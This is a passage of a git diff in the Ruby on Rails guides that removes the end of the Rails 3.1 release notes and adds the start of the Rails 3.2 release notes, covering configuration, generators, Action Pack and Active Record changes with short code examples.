Defaults to Rails.root.join("public/assets") -# config.assets.manifest = YOUR_PATH - -# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) -# config.assets.precompile += %w( search.js ) - - -# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. -# config.force_ssl = true - -</ruby> - -h5. config/environments/test.rb - -<ruby> -# Configure static asset server for tests with Cache-Control for performance -config.serve_static_assets = true -config.static_cache_control = "public, max-age=3600" -</ruby> - -h5. config/initializers/wrap_parameters.rb - -* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. - -<ruby> -# Be sure to restart your server when you modify this file. -# This file contains settings for ActionController::ParamsWrapper which -# is enabled by default. - -# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. -ActiveSupport.on_load(:action_controller) do - wrap_parameters :format => [:json] -end - -# Disable root element in JSON by default. -ActiveSupport.on_load(:active_record) do - self.include_root_in_json = false -end -</ruby> - -h3. Creating a Rails 3.1 application - -<shell> -# You should have the 'rails' rubygem installed -$ rails new myapp -$ cd myapp -</shell> - -h4. Vendoring Gems - -Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: - "bundler homepage":http://gembundler.com - -h4. Living on the Edge - -+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: - -<shell> -$ rails new myapp --edge -</shell> - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: - -<shell> -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -</shell> - -h3. Rails Architectural Changes - -h4. Assets Pipeline - -The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. - -The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. - -h4. HTTP Streaming - -HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. - -h4. Default JS library is now jQuery - -jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. - -<shell> -$ rails new myapp -j prototype -</shell> - -h4. Identity Map - -Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. - -Rails 3.1 comes with the identity map turned off by default. - -h3. Railties - -* jQuery is the new default JavaScript library. - -* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. - -* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. - -* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. - -* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. - -* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. - -* Scaffold controller generator creates format block for JSON instead of XML. - -* Active Record logging is directed to STDOUT and shown inline in the console. - -* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. - -* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. - -* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. - -* Added <tt>Rack::Cache</tt> to the default middleware stack. - -* Engines received a major update - You can mount them at any path, enable assets, run generators etc. - -h3. Action Pack - -h4. Action Controller - -* A warning is given out if the CSRF token authenticity cannot be verified. - -* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. - -* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. - -* URL parameters which return +nil+ for +to_param+ are now removed from the query string. - -* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. - -* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). - -* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. - -* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. - -<ruby> -class PostsController < ApplicationController - USER_NAME, PASSWORD = "dhh", "secret" - - before_filter :authenticate, :except => [ :index ] - - def index - render :text => "Everyone can see me!" - end - - def edit - render :text => "I'm only accessible if you know the password" - end - - private - def authenticate - authenticate_or_request_with_http_basic do |user_name, password| - user_name == USER_NAME && password == PASSWORD - end - end -end -</ruby> - -..can now be written as - -<ruby> -class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index - - def index - render :text => "Everyone can see me!" - end - - def edit - render :text => "I'm only accessible if you know the password" - end -end -</ruby> - -* Added streaming support, you can enable it with: - -<ruby> -class PostsController < ActionController::Base - stream -end -</ruby> - -You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. - -* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. - -h4. Action Dispatch - -* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. - -* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. - -* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. - -* Added <tt>Rack::Cache</tt> to the default stack. - -* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. - -* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. - -* Template lookup now searches further up in the inheritance chain. - -h4. Action View - -* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. - -* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. - -* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. - -* Added HTML5 +button_tag+ helper. - -* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. - -* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: - -<plain> -tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) -# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> -</plain> - -Keys are dasherized. Values are JSON-encoded, except for strings and symbols. - -* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. - -* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. - -* rhtml and rxml are finally removed as template handlers. - -* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. - -* The submit form helper does not generate an id "object_name_id" anymore. - -* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. - -* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. - -* Allows AM/PM format in datetime selectors. - -* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink - -h3. Active Record - -* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. -<ruby> -class User < ActiveRecord::Base - self.pluralize_table_names = false -end -</ruby> - -* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. - -<ruby> -class User < ActiveRecord::Base - has_one :account -end - -user.build_account{ |a| a.credit_limit = 100.0 } -</ruby> - -* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. - -* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. - -* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: - -<ruby> -class Post < ActiveRecord::Base - attr_accessible :title - attr_accessible :title, :published_at, :as => :admin -end - -Post.new(params[:post], :as => :admin) -</ruby> - -* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. - -* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. - -* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. - -* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. - -* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. - -* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. - -* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. - -* limits and offsets are removed from COUNT queries unless both are supplied. -<ruby> -People.limit(1).count # => 'SELECT COUNT(*) FROM people' -People.offset(1).count # => 'SELECT COUNT(*) FROM people' -People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' -</ruby> - -* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. - -* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. - -* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. - -* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. - -* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. - -* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. - -* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. - -* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. - -<ruby> -change_table(:users, :bulk => true) do |t| - t.string :company_name - t.change :birthdate, :datetime -end -</ruby> - -* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. - -* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. - -* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. -<ruby> -class MyMigration < ActiveRecord::Migration - def change - create_table(:horses) do |t| - t.column :content, :text - t.column :remind_at, :datetime - end - end -end -</ruby> - -* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. - -* Migrations now use instance methods rather than class methods: -<ruby> -class FooMigration < ActiveRecord::Migration - def up # Not self.up - ... - end -end -</ruby> - -* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. - -* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. - -<ruby> -has_many :things, :conditions => 'foo = #{bar}' # before -has_many :things, :conditions => proc { "foo = #{bar}" } # after -</ruby> - -Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. - -You can have any "normal" conditions inside the proc, so the following will work too: - -<ruby> -has_many :things, :conditions => proc { ["foo = ?", bar] } -</ruby> - -* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. - -* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. - -<ruby> -# Schema: User(name:string, password_digest:string, password_salt:string) -class User < ActiveRecord::Base - has_secure_password -end -</ruby> - -* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns. - -* Setting the id of a +belongs_to+ object will update the reference to the object. - -* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. - -* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. - -* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. - -* The query cache now works with prepared statements. No changes in the applications are required. - -h3. Active Model - -* +attr_accessible+ accepts an option +:as+ to specify a role. - -* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. - -* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. - -* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. - -* Added support for selectively enabling and disabling observers. - -* Alternate <tt>I18n</tt> namespace lookup is no longer supported. - -h3. Active Resource - -* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, - -<ruby> -class User < ActiveResource::Base - self.format = :xml -end -</ruby> - -h3. Active Support - -* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. - -* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. - -* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. - -* Added <tt>Object#in?</tt> to test if an object is included in another object. - -* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. - -* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. - -* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. - -* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. - -* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. - -* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. - -Deprecations: - -* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. - -h3. Credits - -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. - -Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md new file mode 100644 index 0000000000..68a47be14f --- /dev/null +++ b/guides/source/3_2_release_notes.md @@ -0,0 +1,565 @@ +Ruby on Rails 3.2 Release Notes +=============================== + +Highlights in Rails 3.2: + +* Faster Development Mode +* New Routing Engine +* Automatic Query Explains +* Tagged Logging + +These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 3.2 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes: + +### Rails 3.2 requires at least Ruby 1.8.7 + +Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. + +### What to update in your apps + +* Update your Gemfile to depend on + * `rails = 3.2.0` + * `sass-rails ~> 3.2.3` + * `coffee-rails ~> 3.2.1` + * `uglifier >= 1.0.3` + +* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. + +* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`: + + ```ruby + # Raise exception on mass assignment protection for Active Record models + config.active_record.mass_assignment_sanitizer = :strict + + # Log the query plan for queries taking more than this (works + # with SQLite, MySQL, and PostgreSQL) + config.active_record.auto_explain_threshold_in_seconds = 0.5 + ``` + + The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`: + + ```ruby + # Raise exception on mass assignment protection for Active Record models + config.active_record.mass_assignment_sanitizer = :strict + ``` + +### What to update in your engines + +Replace the code beneath the comment in `script/rails` with the following content: + +```ruby +ENGINE_ROOT = File.expand_path('../..', __FILE__) +ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__) + +require 'rails/all' +require 'rails/engine/commands' +``` + +Creating a Rails 3.2 application +-------------------------------- + +```bash +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: [Bundler homepage](http://gembundler.com) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Major Features +-------------- + +### Faster Development Mode & Routing + +Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine. + +### Automatic Query Explains + +Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations. + +Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. + +### Tagged Logging + +When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. + +Documentation +------------- + +From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc. + +Railties +-------- + +* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. + +* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`. + +* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. + +* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware. + +* Display mounted engines' routes in `rake routes`. + +* Allow to change the loading order of railties with `config.railties_order` like: + + ```ruby + config.railties_order = [Blog::Engine, :main_app, :all] + ``` + +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. + +* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + +* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory. + +* Add an alias `d` for `destroy`. This works for engines too. + +* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author` + +* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example, + + ```ruby + rails g scaffold Post title:string:index author:uniq price:decimal{7,2} + ``` + + will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively. + +* Turn gem has been removed from default Gemfile. + +* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command. + +* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`. + +#### Deprecations + +* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies. + +Action Mailer +------------- + +* Upgraded `mail` version to 2.4.0. + +* Removed the old Action Mailer API which was deprecated since Rails 3.0. + +Action Pack +----------- + +### Action Controller + +* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be. + +* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`. + +* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail. + + ```ruby + class CarsController + layout 'single_car', :only => :show + end + ``` + + Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. + +* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}". + +* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. + +* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. + +* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors. + +* Responders now return 204 No Content for API requests without a response body (as in the new scaffold). + +* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]` + + ```ruby + cookies[:email] = 'user@example.com' + get :index + assert_equal 'user@example.com', cookies[:email] + ``` + + To clear the cookies, use `clear`. + + ```ruby + cookies.clear + get :index + assert_nil cookies[:email] + ``` + + We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created. + +* `send_file` now guesses the MIME type from the file extension if `:type` is not provided. + +* MIME type entries for PDF, ZIP and other formats were added. + +* Allow fresh_when/stale? to take a record instead of an options hash. + +* Changed log level of warning for missing CSRF token from `:debug` to `:warn`. + +* Assets should use the request protocol by default or default to relative if no request is available. + +#### Deprecations + +* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: + + ```ruby + class ApplicationController + layout "application" + end + + class PostsController < ApplicationController + end + ``` + + In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + +* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`. + +* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`. + +* Deprecated `method_missing` in favour of `action_missing` for missing actions. + +* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. + +### Action Dispatch + +* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`. + +* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. + +* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. + +* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. + +#### Deprecations + +* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead. + +### Action View + +* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`. + + ```erb + <%= form_for @post do |f| %> + <%= f.button %> + <% end %> + ``` + +* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'. + +* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. + + ```erb + <%= form_for(@offer, :namespace => 'namespace') do |f| %> + <%= f.label :version, 'Version' %>: + <%= f.text_field :version %> + <% end %> + ``` + +* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit. + +* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this: + + ```ruby + @items.each do |item| + content_tag_for(:li, item) do + Title: <%= item.title %> + end + end + ``` + + You can do this: + + ```ruby + content_tag_for(:li, @items) do |item| + Title: <%= item.title %> + end + ``` + +* Added `font_path` helper method that computes the path to a font asset in `public/fonts`. + +#### Deprecations + +* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`. + +### Sprockets + +* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`. + +Active Record +------------- + +* Boolean columns with 'on' and 'ON' values are type cast to true. + +* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default. + +* Implemented `ActiveRecord::Relation#explain`. + +* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block. + +* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. + +* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores. + + ```ruby + class User < ActiveRecord::Base + store :settings, accessors: [ :color, :homepage ] + end + + u = User.new(color: 'black', homepage: '37signals.com') + u.color # Accessor stored attribute + u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + ``` + +* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed). + + ``` + rake db:migrate SCOPE=blog + ``` + +* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`. + +* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes. + + ```ruby + Client.where(:active => true).pluck(:id) + # SELECT id from clients where active = 1 + ``` + +* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name. + +* Add `ActiveRecord::Relation#uniq` for generating unique queries. + + ```ruby + Client.select('DISTINCT name') + ``` + + ..can be written as: + + ```ruby + Client.select(:name).uniq + ``` + + This also allows you to revert the uniqueness in a relation: + + ```ruby + Client.select(:name).uniq.uniq(false) + ``` + +* Support index sort order in SQLite, MySQL and PostgreSQL adapters. + +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. + + ```ruby + has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized + ``` + +* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`. + +* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation. + +* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures. + +* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it. + + 